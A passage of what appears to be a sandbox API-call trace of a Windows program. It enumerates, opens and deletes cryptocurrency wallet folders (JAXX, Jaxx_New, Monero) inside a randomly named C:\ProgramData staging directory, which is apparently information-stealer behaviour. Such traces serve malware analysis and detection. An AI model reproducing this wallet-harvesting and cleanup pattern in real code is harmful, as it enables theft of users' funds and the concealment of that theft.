returned="\\Wallets\\JAXX" [0149.532] lstrcatW (in: lpString1="\\Wallets\\JAXX", lpString2="\\" | out: lpString1="\\Wallets\\JAXX\\") returned="\\Wallets\\JAXX\\" [0149.533] lstrcatW (in: lpString1="\\Wallets\\JAXX\\", lpString2=".." | out: lpString1="\\Wallets\\JAXX\\..") returned="\\Wallets\\JAXX\\.." [0149.533] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0149.533] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0149.533] FindNextFileW (in: hFindFile=0x882930, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e92bb9a, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e92bb9a, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e92bb9a, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.533] FindClose (in: hFindFile=0x882930 | out: hFindFile=0x882930) returned 1 [0149.533] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23693a8 [0149.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0149.533] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3c) returned 0x32ba420 [0149.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX", cchWideChar=60, lpMultiByteStr=0x32ba420, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX", lpUsedDefaultChar=0x0) returned 60 [0149.533] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba3d8 [0149.533] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba420 | out: hHeap=0x2360000) returned 1 [0149.533] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23693a8 | out: hHeap=0x2360000) returned 1 [0149.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0149.533] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x2366948 [0149.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x2366948, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0149.533] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366948 | out: hHeap=0x2360000) returned 1 [0149.533] PathMatchSpecW (pszFile="JAXX", pszSpec="*.*") returned 1 [0149.533] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x2368b28 [0149.533] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33405b0 [0149.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0149.534] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3c) returned 0x32ba4b0 [0149.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX", cchWideChar=60, lpMultiByteStr=0x32ba4b0, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX", lpUsedDefaultChar=0x0) returned 60 [0149.534] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba300 [0149.534] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba4b0 | out: hHeap=0x2360000) returned 1 [0149.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\JAXX", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0149.534] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xe) returned 0x236ab70 [0149.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\JAXX", cchWideChar=14, lpMultiByteStr=0x236ab70, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Wallets\\JAXX", lpUsedDefaultChar=0x0) returned 14 [0149.534] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab70 | out: hHeap=0x2360000) returned 1 [0149.534] CreateFileA (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\wallets\\jaxx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.534] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba300 | out: hHeap=0x2360000) returned 1 [0149.534] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33405b0 | out: hHeap=0x2360000) returned 1 [0149.534] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2368b28 | out: hHeap=0x2360000) returned 1 [0149.534] DeleteFileW (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\JAXX" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\wallets\\jaxx")) returned 0 [0149.534] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba3d8 | out: hHeap=0x2360000) returned 1 [0149.534] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e92cf26, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e92cf26, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e92cf26, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jaxx_New", cAlternateFileName="")) returned 1 [0149.534] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" [0149.534] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\" [0149.535] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\", lpString2="Jaxx_New" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New" [0149.535] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0149.535] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0149.535] lstrcatW (in: lpString1="\\Wallets\\", lpString2="Jaxx_New" | out: lpString1="\\Wallets\\Jaxx_New") returned="\\Wallets\\Jaxx_New" [0149.535] lstrcmpW (lpString1="Jaxx_New", lpString2=".") returned 1 [0149.535] lstrcmpW (lpString1="Jaxx_New", lpString2="..") returned 1 [0149.535] lstrcpyW (in: lpString1=0x19e284, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New" [0149.535] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New\\*.*") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New\\*.*" [0149.535] FindFirstFileW (in: lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New\\*.*", lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e92cf26, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e92cf26, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e92cf26, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x882a30 [0149.535] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New" [0149.535] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New\\" [0149.535] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New\\", lpString2="." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New\\.") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New\\." [0149.535] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\Jaxx_New" | out: lpString1="\\Wallets\\Jaxx_New") returned="\\Wallets\\Jaxx_New" [0149.535] lstrcatW (in: lpString1="\\Wallets\\Jaxx_New", lpString2="\\" | out: lpString1="\\Wallets\\Jaxx_New\\") returned="\\Wallets\\Jaxx_New\\" [0149.535] lstrcatW (in: lpString1="\\Wallets\\Jaxx_New\\", lpString2="." | out: lpString1="\\Wallets\\Jaxx_New\\.") returned="\\Wallets\\Jaxx_New\\." [0149.535] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0149.535] FindNextFileW (in: hFindFile=0x882a30, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e92cf26, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e92cf26, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e92cf26, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.536] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New" [0149.536] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New\\" [0149.536] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New\\", lpString2=".." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New\\..") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New\\.." [0149.536] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\Jaxx_New" | out: lpString1="\\Wallets\\Jaxx_New") returned="\\Wallets\\Jaxx_New" [0149.536] lstrcatW (in: lpString1="\\Wallets\\Jaxx_New", lpString2="\\" | out: lpString1="\\Wallets\\Jaxx_New\\") returned="\\Wallets\\Jaxx_New\\" [0149.536] lstrcatW (in: lpString1="\\Wallets\\Jaxx_New\\", lpString2=".." | out: lpString1="\\Wallets\\Jaxx_New\\..") returned="\\Wallets\\Jaxx_New\\.." [0149.536] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0149.536] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0149.536] FindNextFileW (in: hFindFile=0x882a30, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e92cf26, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e92cf26, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e92cf26, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.536] FindClose (in: hFindFile=0x882a30 | out: hFindFile=0x882a30) returned 1 [0149.536] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x2368dd0 [0149.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New", cchWideChar=64, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0149.536] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba7c8 [0149.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New", cchWideChar=64, lpMultiByteStr=0x32ba7c8, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New", lpUsedDefaultChar=0x0) returned 64 [0149.537] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba858 [0149.537] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba7c8 | out: hHeap=0x2360000) returned 1 [0149.537] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2368dd0 | out: hHeap=0x2360000) returned 1 [0149.537] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0149.537] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x2366878 [0149.537] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x2366878, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0149.537] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366878 | out: hHeap=0x2360000) returned 1 [0149.537] PathMatchSpecW (pszFile="Jaxx_New", pszSpec="*.*") returned 1 [0149.537] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x2368bb0 [0149.537] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x3340f78 [0149.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New", cchWideChar=64, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0149.537] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba198 [0149.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New", cchWideChar=64, lpMultiByteStr=0x32ba198, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New", lpUsedDefaultChar=0x0) returned 64 [0149.537] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba1e0 [0149.537] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba198 | out: hHeap=0x2360000) returned 1 [0149.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\Jaxx_New", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0149.537] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x12) returned 0x3340e60 [0149.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\Jaxx_New", cchWideChar=18, lpMultiByteStr=0x3340e60, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Wallets\\Jaxx_New", lpUsedDefaultChar=0x0) returned 18 [0149.537] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340628 [0149.537] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e60 | out: hHeap=0x2360000) returned 1 [0149.538] CreateFileA (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\wallets\\jaxx_new"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.538] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340628 | out: hHeap=0x2360000) returned 1 [0149.538] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba1e0 | out: hHeap=0x2360000) returned 1 [0149.538] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340f78 | out: hHeap=0x2360000) returned 1 [0149.538] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2368bb0 | out: hHeap=0x2360000) returned 1 [0149.538] DeleteFileW (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Jaxx_New" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\wallets\\jaxx_new")) returned 0 [0149.538] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba858 | out: hHeap=0x2360000) returned 1 [0149.538] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e9309c4, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e9309c4, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e9309c4, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monero", cAlternateFileName="")) returned 1 [0149.538] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" [0149.538] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\" [0149.538] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\", lpString2="Monero" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero" [0149.538] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0149.538] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0149.538] lstrcatW (in: lpString1="\\Wallets\\", lpString2="Monero" | out: lpString1="\\Wallets\\Monero") returned="\\Wallets\\Monero" [0149.538] lstrcmpW (lpString1="Monero", lpString2=".") returned 1 [0149.538] lstrcmpW (lpString1="Monero", lpString2="..") returned 1 [0149.538] lstrcpyW (in: lpString1=0x19e284, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero" [0149.538] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero\\*.*") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero\\*.*" [0149.538] FindFirstFileW (in: lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero\\*.*", lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e9309c4, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e9309c4, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e9309c4, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x882fb0 [0149.539] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero" [0149.539] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero\\" [0149.539] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero\\", lpString2="." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero\\.") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero\\." [0149.539] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\Monero" | out: lpString1="\\Wallets\\Monero") returned="\\Wallets\\Monero" [0149.539] lstrcatW (in: lpString1="\\Wallets\\Monero", lpString2="\\" | out: lpString1="\\Wallets\\Monero\\") returned="\\Wallets\\Monero\\" [0149.539] lstrcatW (in: lpString1="\\Wallets\\Monero\\", lpString2="." | out: lpString1="\\Wallets\\Monero\\.") returned="\\Wallets\\Monero\\." [0149.539] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0149.539] FindNextFileW (in: hFindFile=0x882fb0, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e9309c4, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e9309c4, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e9309c4, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.539] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero" [0149.539] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero\\" [0149.539] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero\\", lpString2=".." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero\\..") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Monero\\.." [0149.539] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\Monero" | out: lpString1="\\Wallets\\Monero") returned="\\Wallets\\Monero" [0149.539] lstrcatW (in: lpString1="\\Wallets\\Monero", lpString2="\\" | out: lpString1="\\Wallets\\Monero\\") returned="\\Wallets\\Monero\\" [0149.539] lstrcatW (in: lpString1="\\Wallets\\Monero\\", lpString2=".." | out: lpString1="\\Wallets\\Monero\\..") returned="\\Wallets\\Monero\\.." 